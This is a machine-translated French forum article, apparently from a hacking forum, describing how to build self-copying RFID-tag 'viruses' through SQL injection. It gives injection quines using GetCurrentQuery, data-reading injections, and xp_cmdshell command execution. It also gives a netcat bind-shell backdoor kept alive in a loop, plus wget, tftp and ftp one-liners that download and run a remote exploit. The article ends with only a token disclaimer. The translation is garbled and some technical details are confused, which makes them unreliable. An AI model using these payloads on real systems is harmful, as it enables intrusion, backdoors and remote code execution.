This page has been robot translated, sorry for typos if any. Original content here.

Virus dans le piratage RFID, structure.


{Introduction}

Dans cet article, un ajout, sur le thème du piratage RFID. Les bases et le début sont exposés dans le premier article à: http://forum.antichat.ru/thread123511.html. D'où nous avons appris que RFID est une méthode d'identification par radiofréquence pour stocker et recevoir à distance des informations en transmettant des signaux radio à l'aide de dispositifs appelés étiquettes RFID.

{À propos des parasites}

Les principales fonctions du virus dans ce type d'attaque sont l'auto-copie et l'exécution de code arbitraire. À ces fins, le parasite utilise généralement une base de données. Les détails dépendent de la base de données utilisée. En général, vous pouvez distinguer deux classes de virus dans ce type d'attaque: la première utilise des requêtes arbitraires dans la base de données, la seconde est implémentée à l'aide de quines (programme spécial).
Le code arbitraire qu'un virus peut exécuter dépend des mécanismes de la réponse de la base de données aux injections SQL.


{Injection SQL}

Dans les systèmes d'administration, la méthode d'interrogation des étiquettes RFID à partir de la base de données est généralement utilisée, avec le retour ultérieur des données, qui à leur tour peuvent être copiées dans la séquence correcte. Donc, copiez les tags eux-mêmes s'il y a certains facteurs.

À l'heure actuelle, vous pouvez considérer deux types de virus, le premier est un programme de demande unique et le second est l'utilisation de plusieurs demandes.
Le premier type de virus, utilise un minimum d'espace, et dans sa structure ne peut pas porter une charge de combat. Et il est utilisé uniquement pour l'entrée d'informations déjà planifiées dans la base de données. Un virus qui utilise plusieurs requêtes à l'inverse est déjà créé pour infecter les systèmes d'autoindication, et entrer du code malveillant ou autre charge de combat. Le plus souvent la deuxième méthode est utilisée, mais pour un fonctionnement correct, ce type de virus, il est nécessaire que certaines conditions dans la base de données soient correctement observées, et ce pour assurer la fonction de la fonction GetCurrentQuery, pour l'accès. Ceci est nécessaire pour éviter une erreur, car cette API fitcha vous permet d'entrer un commentaire. (Je m'empresse de vous rassurer, ces fonctions sont initialement incluses dans les systèmes par défaut)

Des attaques spécifiques peuvent être effectuées lorsque la base de données a fait une requête dans l'étiquette, et elle a répondu avec un tel contenu
UPDATE ContainerContents SET OldContents = '% contents%' WHERE TagID = '% id%'

Ici, le contenu et l'identifiant des variables

Si cette requête passe sans erreur, l'attaquant peut modifier la requête à sa discrétion à l'aide de notre citation préférée (''). Et que puis-je faire, ??? Et ceci pour ajouter juste une copie unique à la zone NewContents et infecter d'autres systèmes de la même manière.

Voici à peu près ce dont nous avons besoin:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Au lieu de simplement mettre à jour la zone OldContents, la requête met également à jour la portée NewContents. En utilisant le commentaire SQL (-), toutes les lignes de la base de données seront déplacées, ce qui ouvre de nouvelles possibilités pour l'attaquant.

Insérer un code malveillant

Dans la technologie d'injection décrite ci-dessus, il est impossible d'exécuter n'importe quel code autre que des requêtes dans la base de données, mais lorsqu'il est activé depuis le côté client du script, le serveur devient automatiquement vulnérable. Des scripts peuvent être insérés après le commentaire, de sorte que le système de base de données les ignore.
La seule chose qui doit être considérée est que lorsque vous incluez le code dans l'exploit, vous devez prendre en compte le troisième paramètre SUBSTR qui doit correspondre à la longueur de l'exploit.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
Dans une version plus sérieuse avec l'utilisation de variables, et insère non seulement quelques grincements spécifiques cela ressemblera à ceci:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Ici, le code malveillant doit être travaillé deux fois, c'est-à-dire pour la première fois, il est auto-copié dans la base de données, la deuxième fois c'est l'accomplissement de soi.

Pour le moment, la fonction de commentaire est présente dans Oracle (OCI / iSQL * Plus) Elle fournit les fonctionnalités du style GetCurrentQuery, avec les privilèges d'administrateur suivants: PostgreSQL, MySQL et SQL Server autorisent également les commentaires et les demandes d'injection multiples. Ici aussi, la fonctionnalité du style GetCurrentQuery est présente. Cependant, pour PostgreSQL et SQL Server, il n'y a pas encore de virus de travail fiables, tout était limité uniquement par le développement d'essais.


{Quelques exemples de codes malveillants injectés}

Les fonctions de gestion du système fournies par les bases de données peuvent être utilisées pour causer des problèmes. Par exemple, Microsoft SQL Server fournit une fonction CLOSE qui permet à la base de données d'être privée à partir de SQL.
Lecture des données de la base de données
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' données de la requête ci-dessous peuvent être utilisées pour des requêtes directes sur la base de données.
'|| (SELECT ...) ||'
Dans ce cas, les guillemets exécutent une injection SQL et provoquent l'interprétation des données en tant que code. || l'opérateur exécute un lien de séquence, ce qui entraîne l'ajout du résultat de la requête SELECT dans la région de la base de données. Un opérateur de connexion de séquence est nécessaire, afin de nitrer le commentaire qui est nos citations préférées.


{Exécuter les commandes Shell via l'injection SQL}

Le serveur SQL fournit une procédure xp_cmdshell qui permet d'exécuter des commandes malveillantes et pas très précises.
EXEC Master..xp_cmdshell 'commands';

{Installation de backdoors sur le système}

Pour désamorcer le système, nous avons besoin des commandes suivantes
netcat -lp1234|sh
où le port 1234 sera écouté.

Mais ici, nous sommes pris au piège par le danger d'un pare-feu établi ou correctement configuré ou brandmauer. Et puis il y a la solution, exécutez le code dans une boucle infinie, de sorte qu'il fonctionne comme un démon, ce qui en soi vous permet de créer un back-end plus avancé.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Autres fonctions}

Il existe encore des fonctionnalités utiles, par exemple wget: il est facile de télécharger un fichier sur le réseau et de stocker le fichier dans le système.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget n'est normalement pas disponible sur les systèmes Windows. Dans ce cas, vous devez utiliser tftp
tftp -i ip GET myexploit.exe & myexploit
Vous pouvez également créer un fichier texte, comme on dit à la volée, en utilisant la fonction écho
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Conclusion}

Cet article décrit la pénétration dans un système vulnérable au moyen de la programmation d'étiquettes RFID Bien sûr, bien sûr, je dois avertir que tout le matériel présenté est seulement à titre de référence. Compte tenu de la complexité de la mise en œuvre de la technologie, à savoir la création de l'étiquette elle-même et la programmation avec une intention malveillante, il me semble difficile à un homme commun. Donc, je préviens les gens qui sont bien informés mais qui sont inactifs, ne vérifiez pas cette information dans la pratique.